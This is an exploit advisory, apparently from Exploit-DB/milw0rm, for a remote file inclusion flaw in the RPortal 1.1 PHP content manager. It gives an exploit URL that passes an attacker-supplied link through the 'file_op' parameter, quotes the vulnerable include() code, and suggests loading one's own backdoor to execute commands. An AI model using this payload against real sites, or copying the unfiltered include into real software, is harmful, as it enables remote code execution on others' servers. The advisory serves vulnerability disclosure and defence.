RPortal 1.1 - 'file_op' Remote File Inclusion

EDB-ID:

6648

Author:

Kad

Type:

webapps

Platform:

PHP

Published:

2008-10-01

#########################################################
#
# RPortal v1.1
#
#
# Rportal is a management system of contents simple and powerful Web,
# enabling you to create your site in a few minutes, while profiting
# from a complete and effective administration.
#
#
# Remote and Local File Inclusion Vulnerability <= 1.1
# Found the 29th September 2008

##########################################################
# Author: Kad
#
# mail : kadfrox [ a ] gmail [ dot ] com
#
##########################################################
#
# script : RPortal v 1.1
# http://www.rportal.org/?op=download&fid=36
#
##########################################################

[~] Exploit :


http://www.site.com/index.php?file_op=[url]

#
# Vulnerable code source :
#

if(!isset($file_op))$file_op='';

if($file_op!="")

{
    $op_basepath = trim(strrev(strstr(strrev($file_op),"/php/")));

    if($op_basepath!='') $op_basepath = str_replace("/php/", "/", $op_basepath);

    include($file_op);

}

# The problem is that the variable $file_op is not filtered
# Then, you can put the link that you want, like your own backdoor
# and execute commands.

# milw0rm.com [2008-10-01]